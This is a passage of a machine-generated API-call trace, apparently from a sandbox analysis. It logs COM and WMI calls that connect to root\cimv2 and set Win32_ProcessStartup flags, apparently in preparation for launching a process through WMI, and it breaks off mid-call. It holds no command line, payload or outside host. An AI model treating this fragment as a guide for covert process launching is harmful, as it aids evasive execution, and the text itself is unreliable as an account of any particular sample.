SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0087.861] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd918 | out: ppv=0x1b2fd918*=0x111f638) returned 0x0 [0087.861] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd908 | out: pAptType=0x1b2fd908*=1) returned 0x0 [0087.861] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd910 | out: ppvObject=0x1b2fd910*=0x0) returned 0x80004002 [0087.861] IUnknown:Release (This=0x111f638) returned 0x1 [0087.863] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcd30 | out: ppv=0x1b2fcd30*=0x1c022a40) returned 0x0 [0087.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022a40, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcd78 | out: ppvObject=0x1b2fcd78*=0x0) returned 0x80004002 [0087.863] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022a40, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcd28 | out: ppvObject=0x1b2fcd28*=0x1bea1af0) returned 0x0 [0087.863] WbemDefPath:IUnknown:Release (This=0x1c022a40) returned 0x0 [0087.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcb38 | out: ppvObject=0x1b2fcb38*=0x1bea1af0) returned 0x0 [0087.863] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcbe0 | out: ppvObject=0x1b2fcbe0*=0x0) returned 0x80004002 [0087.864] WbemDefPath:IUnknown:AddRef (This=0x1bea1af0) returned 0x3 [0087.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc288 | out: ppvObject=0x1b2fc288*=0x0) returned 0x80004002 [0087.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc210 | out: ppvObject=0x1b2fc210*=0x0) returned 0x80004002 [0087.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc200 | out: ppvObject=0x1b2fc200*=0x1c022a60) returned 0x0 [0087.864] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022a60, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc228 | out: pCid=0x1b2fc228*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.864] WbemDefPath:IUnknown:Release (This=0x1c022a60) returned 0x3 [0087.864] CoGetContextToken (in: pToken=0x1b2fc2b0 | out: pToken=0x1b2fc2b0) returned 0x0 [0087.864] CoGetContextToken (in: pToken=0x1b2fc730 | out: pToken=0x1b2fc730) returned 0x0 [0087.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc7f0 | out: ppvObject=0x1b2fc7f0*=0x0) returned 0x80004002 [0087.864] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x2 [0087.864] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x1 [0087.864] CoGetContextToken (in: pToken=0x1b2fd550 | out: pToken=0x1b2fd550) returned 0x0 [0087.864] CoGetContextToken (in: pToken=0x1b2fd450 | out: pToken=0x1b2fd450) returned 0x0 [0087.864] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea1af0, riid=0x1b2fd5b0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd580 | out: ppvObject=0x1b2fd580*=0x1bea1af0) returned 0x0 [0087.865] WbemDefPath:IUnknown:AddRef (This=0x1bea1af0) returned 0x3 [0087.865] WbemDefPath:IUnknown:Release (This=0x1bea1af0) returned 0x2 [0087.865] WbemDefPath:IWbemPath:SetText (This=0x1bea1af0, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0087.865] IWbemClassObject:Get (in: This=0x1bef6d00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd978*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b25f8*=0, plFlavor=0x29b25fc*=0 | out: pVal=0x1b2fd978*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b25f8*=19, plFlavor=0x29b25fc*=0) returned 0x0 [0087.865] IWbemClassObject:Get (in: This=0x1bef6d00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd968*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b25f8*=19, plFlavor=0x29b25fc*=0 | out: pVal=0x1b2fd968*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x29b25f8*=19, plFlavor=0x29b25fc*=0) returned 0x0 [0087.865] IWbemClassObject:Put (This=0x1bef6d00, wszName="CreateFlags", lFlags=0, pVal=0x1b2fd9c0*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0087.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea1eb0, puCount=0x1b2fd930 | out: puCount=0x1b2fd930*=0x0) returned 0x0 [0087.866] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1169200, puCount=0x1b2fd8f0 | out: puCount=0x1b2fd8f0*=0x2) returned 0x0 [0087.866] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd8e8*=0xf, pszText=0x0) returned 0x0 [0087.866] WbemDefPath:IWbemPath:GetText (in: This=0x1169200, lFlags=4, puBuffLength=0x1b2fd8e8*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd8e8*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.866] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd848 | out: ppv=0x1b2fd848*=0x111f638) returned 0x0 [0087.866] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd838 | out: pAptType=0x1b2fd838*=1) returned 0x0 [0087.866] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd840 | out: ppvObject=0x1b2fd840*=0x0) returned 0x80004002 [0087.866] IUnknown:Release (This=0x111f638) returned 0x1 [0087.868] CoGetClassObject (in: rclsid=0x1185388*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fcc60 | out: ppv=0x1b2fcc60*=0x1c022be0) returned 0x0 [0087.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1c022be0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcca8 | out: ppvObject=0x1b2fcca8*=0x0) returned 0x80004002 [0087.868] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1c022be0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc58 | out: ppvObject=0x1b2fcc58*=0x1bea0ef0) returned 0x0 [0087.868] WbemDefPath:IUnknown:Release (This=0x1c022be0) returned 0x0 [0087.868] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca68 | out: ppvObject=0x1b2fca68*=0x1bea0ef0) returned 0x0 [0087.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcb10 | out: ppvObject=0x1b2fcb10*=0x0) returned 0x80004002 [0087.869] WbemDefPath:IUnknown:AddRef (This=0x1bea0ef0) returned 0x3 [0087.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc1b8 | out: ppvObject=0x1b2fc1b8*=0x0) returned 0x80004002 [0087.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc140 | out: ppvObject=0x1b2fc140*=0x0) returned 0x80004002 [0087.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc130 | out: ppvObject=0x1b2fc130*=0x1c022c20) returned 0x0 [0087.869] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1c022c20, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b2fc158 | out: pCid=0x1b2fc158*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0087.869] WbemDefPath:IUnknown:Release (This=0x1c022c20) returned 0x3 [0087.869] CoGetContextToken (in: pToken=0x1b2fc1e0 | out: pToken=0x1b2fc1e0) returned 0x0 [0087.869] CoGetContextToken (in: pToken=0x1b2fc660 | out: pToken=0x1b2fc660) returned 0x0 [0087.869] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc720 | out: ppvObject=0x1b2fc720*=0x0) returned 0x80004002 [0087.869] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x2 [0087.869] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x1 [0087.869] CoGetContextToken (in: pToken=0x1b2fd480 | out: pToken=0x1b2fd480) returned 0x0 [0087.869] CoGetContextToken (in: pToken=0x1b2fd380 | out: pToken=0x1b2fd380) returned 0x0 [0087.870] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bea0ef0, riid=0x1b2fd4e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b2fd4b0 | out: ppvObject=0x1b2fd4b0*=0x1bea0ef0) returned 0x0 [0087.870] WbemDefPath:IUnknown:AddRef (This=0x1bea0ef0) returned 0x3 [0087.870] WbemDefPath:IUnknown:Release (This=0x1bea0ef0) returned 0x2 [0087.870] WbemDefPath:IWbemPath:SetText (This=0x1bea0ef0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0087.870] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0087.870] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0087.870] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.870] CoGetObjectContext (in: riid=0x28ea900*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fd8d8 | out: ppv=0x1b2fd8d8*=0x111f638) returned 0x0 [0087.870] IComThreadingInfo:GetCurrentApartmentType (in: This=0x111f638, pAptType=0x1b2fd8c8 | out: pAptType=0x1b2fd8c8*=1) returned 0x0 [0087.870] IUnknown:QueryInterface (in: This=0x111f638, riid=0x28ea8e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b2fd8d0 | out: ppvObject=0x1b2fd8d0*=0x0) returned 0x80004002 [0087.870] IUnknown:Release (This=0x111f638) returned 0x1 [0087.871] CoGetClassObject (in: rclsid=0x11a5298*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef1d395c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b2fce80 | out: ppv=0x1b2fce80*=0x1c0229a0) returned 0x0 [0087.871] WbemLocator:IUnknown:QueryInterface (in: This=0x1c0229a0, riid=0x7fef1d5e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b2fcec8 | out: ppvObject=0x1b2fcec8*=0x0) returned 0x80004002 [0087.871] WbemLocator:IClassFactory:CreateInstance (in: This=0x1c0229a0, pUnkOuter=0x0, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fce78 | out: ppvObject=0x1b2fce78*=0x1c022760) returned 0x0 [0087.871] WbemLocator:IUnknown:Release (This=0x1c0229a0) returned 0x0 [0087.871] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d08508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fcc88 | out: ppvObject=0x1b2fcc88*=0x1c022760) returned 0x0 [0087.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d16968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b2fcd30 | out: ppvObject=0x1b2fcd30*=0x0) returned 0x80004002 [0087.872] WbemLocator:IUnknown:AddRef (This=0x1c022760) returned 0x3 [0087.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d16978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b2fc3d8 | out: ppvObject=0x1b2fc3d8*=0x0) returned 0x80004002 [0087.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d16988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b2fc360 | out: ppvObject=0x1b2fc360*=0x0) returned 0x80004002 [0087.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d15de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc350 | out: ppvObject=0x1b2fc350*=0x0) returned 0x80004002 [0087.872] CoGetContextToken (in: pToken=0x1b2fc400 | out: pToken=0x1b2fc400) returned 0x0 [0087.872] CoGetContextToken (in: pToken=0x1b2fc880 | out: pToken=0x1b2fc880) returned 0x0 [0087.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fc940 | out: ppvObject=0x1b2fc940*=0x0) returned 0x80004002 [0087.872] WbemLocator:IUnknown:Release (This=0x1c022760) returned 0x2 [0087.872] WbemLocator:IUnknown:Release (This=0x1c022760) returned 0x1 [0087.872] CoGetContextToken (in: pToken=0x1b2fd430 | out: pToken=0x1b2fd430) returned 0x0 [0087.872] CoGetContextToken (in: pToken=0x1b2fd330 | out: pToken=0x1b2fd330) returned 0x0 [0087.872] WbemLocator:IUnknown:QueryInterface (in: This=0x1c022760, riid=0x1b2fd490*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b2fd460 | out: ppvObject=0x1b2fd460*=0x1c022760) returned 0x0 [0087.872] WbemLocator:IUnknown:AddRef (This=0x1c022760) returned 0x3 [0087.873] WbemLocator:IUnknown:Release (This=0x1c022760) returned 0x2 [0087.873] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd860 | out: puCount=0x1b2fd860*=0x2) returned 0x0 [0087.873] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=8, puBuffLength=0x1b2fd858*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd858*=0xf, pszText=0x0) returned 0x0 [0087.873] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=8, puBuffLength=0x1b2fd858*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd858*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.873] CoCreateInstance (in: rclsid=0x7fef726b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef726b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b2fd5a0 | out: ppv=0x1b2fd5a0*=0x1c0227c0) returned 0x0 [0087.873] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1c0227c0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b2fd708 | out: ppNamespace=0x1b2fd708*=0x1bf01d40) returned 0x0 [0087.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01d40, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd418 | out: ppvObject=0x1b2fd418*=0x11e07a0) returned 0x0 [0087.936] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x11e07a0, pProxy=0x1bf01d40, pAuthnSvc=0x1b2fd4e0, pAuthzSvc=0x1b2fd460, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464, pImpLevel=0x1b2fd46c, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468 | out: pAuthnSvc=0x1b2fd4e0*=0xa, pAuthzSvc=0x1b2fd460*=0x0, pServerPrincName=0x1b2fd490, pAuthnLevel=0x1b2fd464*=0x6, pImpLevel=0x1b2fd46c*=0x2, pAuthInfo=0x1b2fd498, pCapabilites=0x1b2fd468*=0x1) returned 0x0 [0087.936] WbemLocator:IUnknown:Release (This=0x11e07a0) returned 0x1 [0087.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01d40, riid=0x7fef726aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3b0 | out: ppvObject=0x1b2fd3b0*=0x11e07e0) returned 0x0 [0087.936] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01d40, riid=0x7fef726aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fd3c0 | out: ppvObject=0x1b2fd3c0*=0x11e07a0) returned 0x0 [0087.936] WbemLocator:IClientSecurity:SetBlanket (This=0x11e07a0, pProxy=0x1bf01d40, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0087.936] WbemLocator:IUnknown:Release (This=0x11e07a0) returned 0x2 [0087.936] WbemLocator:IUnknown:Release (This=0x11e07e0) returned 0x1 [0087.936] CoTaskMemFree (pv=0x11dd570) [0087.937] WbemLocator:IUnknown:AddRef (This=0x1bf01d40) returned 0x2 [0087.937] WbemLocator:IUnknown:Release (This=0x1c0227c0) returned 0x0 [0087.937] CoGetContextToken (in: pToken=0x1b2fc620 | out: pToken=0x1b2fc620) returned 0x0 [0087.937] CoGetContextToken (in: pToken=0x1b2fcaa0 | out: pToken=0x1b2fcaa0) returned 0x0 [0087.937] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01d40, riid=0x7fef1d16998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b2fca20 | out: ppvObject=0x1b2fca20*=0x11e07b0) returned 0x0 [0087.937] WbemLocator:IRpcOptions:Query (in: This=0x11e07b0, pPrx=0x1c0228a0, dwProperty=2, pdwValue=0x1b2fcb50 | out: pdwValue=0x1b2fcb50) returned 0x80004002 [0087.937] WbemLocator:IUnknown:Release (This=0x11e07b0) returned 0x2 [0087.938] CoGetContextToken (in: pToken=0x1b2fd170 | out: pToken=0x1b2fd170) returned 0x0 [0087.938] CoGetContextToken (in: pToken=0x1b2fd070 | out: pToken=0x1b2fd070) returned 0x0 [0087.938] WbemLocator:IUnknown:QueryInterface (in: This=0x1bf01d40, riid=0x1b2fd1d0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b2fcff0 | out: ppvObject=0x1b2fcff0*=0x1bf01d40) returned 0x0 [0087.938] WbemLocator:IUnknown:Release (This=0x1bf01d40) returned 0x2 [0087.938] SysStringLen (param_1=0x0) returned 0x0 [0087.938] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bea0ef0, puCount=0x1b2fd8a0 | out: puCount=0x1b2fd8a0*=0x2) returned 0x0 [0087.938] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd898*=0x0, pszText=0x0 | out: puBuffLength=0x1b2fd898*=0xf, pszText=0x0) returned 0x0 [0087.938] WbemDefPath:IWbemPath:GetText (in: This=0x1bea0ef0, lFlags=4, puBuffLength=0x1b2fd898*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b2fd898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0087.938] WbemDefPath:IWbemPath:GetText (in: This=0x1bea1eb0, lFlags=2, puBuffLength=0x1b2fd8a8*=0x0, pszText=0x0 | out: 